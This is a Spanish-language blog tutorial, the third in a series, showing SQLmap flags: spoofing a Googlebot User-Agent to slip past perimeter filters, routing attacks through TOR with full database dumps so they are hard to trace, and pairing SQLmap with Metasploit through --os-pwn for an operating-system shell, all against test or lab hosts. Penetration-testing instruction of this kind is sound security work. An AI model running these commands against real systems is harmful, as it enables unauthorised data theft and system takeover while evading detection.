SQLmap, herramienta imprescindible en tu arsenal III
Esta es ya la tercera entrega de la serie que estamos redactando aquí en la comunidad DragonJAR.
Aquí podréis encontrar la primera entrega => http://www.dragonjar.org/sqlmap-herramienta-imprescindible-en-tu-arsenal.xhtml
Aquí la segunda => http://www.dragonjar.org/sqlmap-herramienta-imprescindible-en-tu-arsenal-ii.xhtml
En la entrada de hoy veremos varios flags de SQLmap que seguro os resultan muy interesantes.
Cambiando User Agent.
Existen ciertas protecciones para evitar ataques a nuestro aplicativo web. Hay herrramientas que usan su propio user agent, por eso en los sistemas perimetrales se pueden aplicar reglas que cuando se identifiquen este tipo de user agents se bloqueen estas peticiones.
Es por eso que podemos modificar la herramienta para atacar con otro user agent
darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –user-agent=”Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
Con esto en el servidor saldrá el user agent de Google.
Usando TOR como pasarela de ataque.
Además de cambiar el user agent para los ataques podemos conbinar SQLmap con TOR, para que los ataques vengan desde la red TOR y sea casi imposible poder tracerar el ataque.
El flag del sqlmap es:
darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –dump-all –tor –user-agent=”Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
Está claro que irá bastante mas lento que si hicéisemos un ataque sin TOR.
SQLmap + Metasploit
Podemos combinar la potencia de SQLmap con Metasploit, para hacerlo es muy sencillo, hacemos
python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1″ –os-pwn \ –msf-path /software/metasploit
Como habéis podido ver en estas pequeñas entradas SQLmap es una herramienta muy versátil que nos puede ayudar en un proceso de auditoría.


9 junio 2013 








